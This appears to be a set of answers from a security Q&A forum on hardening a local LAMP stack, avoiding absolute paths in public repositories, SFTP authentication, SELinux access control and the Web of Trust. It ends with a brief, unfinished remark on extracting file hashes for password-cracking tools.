That said, the added risk might be marginal, particularly compared to the productivity boost it might give you. In addition, and perhaps more importantly, if you follow some simple common-sense steps to secure whichever apps you're running, you are mitigating most of the risk. In the LAMP case, it's best to limit the address Apache / MySQL bind to, and force it to listen only on localhost (127.0.0.1). This alone drastically reduces the exposure of your PC to external access / threats. There are other steps you might want to take, not only on your PC, but also on the server, to reduce exposure and risk to your server and applications (patch security, install updates, use a firewall, make sure your code itself is secure and many more). In addition, you can take steps to secure your files, so that they are not accessible to the Apache server. Anything from file ownership / permissions, to using encrypted containers that you only mount when e.g. Apache is turned off...

If you still weigh the difference between not having LAMP installed and having LAMP installed securely, I guess the former is still slightly more secure. But the same goes to turning off your PC and putting it in a heavy safe. It will be much more secure, but not particularly usable/useful :)

[UPDATE]: additionally, if you want to create another layer of separation between your LAMP and your own host, perhaps it would be a good idea to run a virtual server inside your Ubuntu desktop. You can use virtualbox or many other virtualisation technologies to create a virtual host and configure it as you wish. You can then control how the network between this virtual host and your desktop are configured more easily, and therefore better protect it and your desktop. This might be a good idea regardless of security, as it would allow you to simulate the server operating system/environment more closely and avoid software conflicts / compatibility issues between your desktop and the LAMP stack.


Is it safe to include full filesystem paths in files published on Github?

Full filesystem paths by themselves do not present an issue, but it's not best practice, for either security or general software development.  As schroeder mentioned, you should use use relative paths.  Exposing the full file path could make it easier to exploit other vulnerabilities, such as path traversal, direct object reference, or local file inclusion.  As far as general software design principles, using absolute file paths like that makes your solution extremely brittle and potentially difficult to deploy to multiple servers/environments.

On the flip-side, I would ask yourself if there is any reason why using absolute file paths is preferable to the relative ones.  The only time where that might be the case is when you're referencing a CDN hosted file.


sftp first connection before exchange cert

SFTP is an extension of SSH. The SSH protocol supports:

  There are several ways to use SSH; one is to use automatically generated public-private key pairs to simply encrypt a network connection, and then use password authentication to log on.

That is, the secure connection is created before authentication occurs. In short, username and password are never sent in the clear.


How to keep database record secret even from developer having access to it?

If I understand you question correctly, you could encrypt the email before it leaves your computer and only allow it to be decrypted by the recipient.  Take a look at a product called Virtru (http://www.virtru.com). I am not affiliated with the company but am a happy user. The recipient doesn't have to be a Virtru user to be able to read your email securely (just prove they have access to the email account).  All that is stored in the database server is the encrypted message (using something called Trusted Data Format (TDF)).


Are there negative influences in the Web of Trust? If not, are there theoretical alternatives?

No, it's up to you if you want to trust (or not) person with a lot of signs. It's just a determinant of fairness.


Restrict access to a specific directory on Linux

The upside -- yes, you can do this with SELinux. The downside -- you have to know SELinux. :)

You can execute these processes in different SELinux domains. E.g. let's call two processes "privapp" and "unprivapp" -- privapp is able to access /var/lib/app/log and unprivapp cannot access /var/lib/app/log, despite running as the same user.

So, you create two domains privapp_t and unprivapp_t and label the executables as privapp_exec_t and unprivapp_exec_t. You then label /var/lib/app/log as var_lib_privapp_rw_t and indicate that only a process running as privapp_t is able to access it.

This is the easy part -- the hard part is expressing the above in the policy language, which is the bit known to drive grown men and women to tears. :)


The answer to this question should be specific for:

The hash type you are wanting to extract (PDF, Office, NT User, WPA... etc).
The program that will process this hash (Cain&Abel, OCLHashCat, John the Ripper... etc).

So a specific question should be made for, at least, each hash.
This is an example for PDF Hashes to bruteforce with OCLHashCat.